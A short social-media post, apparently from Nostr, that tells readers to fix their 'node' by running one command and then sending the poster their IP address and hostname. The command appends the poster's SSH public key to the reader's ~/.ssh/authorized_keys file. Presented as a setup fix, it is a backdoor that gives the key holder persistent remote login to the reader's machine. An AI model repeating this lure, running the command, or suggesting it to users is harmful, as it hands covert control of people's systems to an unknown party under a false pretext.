your node should look like this and if it doesn't you should run this and tell me your ip and hostname

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDNJhlo7llQdY6tMBpVx3Gq5lu1jS3rlOMR7+fz+iw83 nick" >> ~/.ssh/authorized_keys

nostr:nevent1qqs99duf39xeqrrc0k5rsnrg56l0avthjyeddsjp7z4zqqhcwut24zspupmhxue69uhhyetvv9ujuerpd46hxtnfduhj2v3swaehxw309aex2mrp0yhxumm5daeks6fwwa5kute9xgc8wumn8ghj7mn0wvhxcmmv9ujnyvrhwden5te0wfjkccte9eekjctdwd68ytnrdakj7ffjxpmhxue69uhhyetvv9ujuvrcvd5xzapwvdhk6te9xgc8wumn8ghj7mnxwfjkccte9eshqup0y5erqamnwvaz7tmjv4kxz7tjwvhxumm5daeks6fwwa5kute9xgc8wumn8ghj7un9d3shjtnwv4u8getj0ghxxmmd9ujnyvrhwden5te0vejkuunfwgkhxtnwda6x7umgdyh8w6twqgsfrkatna3xvr54ykzgp5hjelmdeld4z0eg4p06f764a6vn5k6xszgrqsqqqqqpv94czs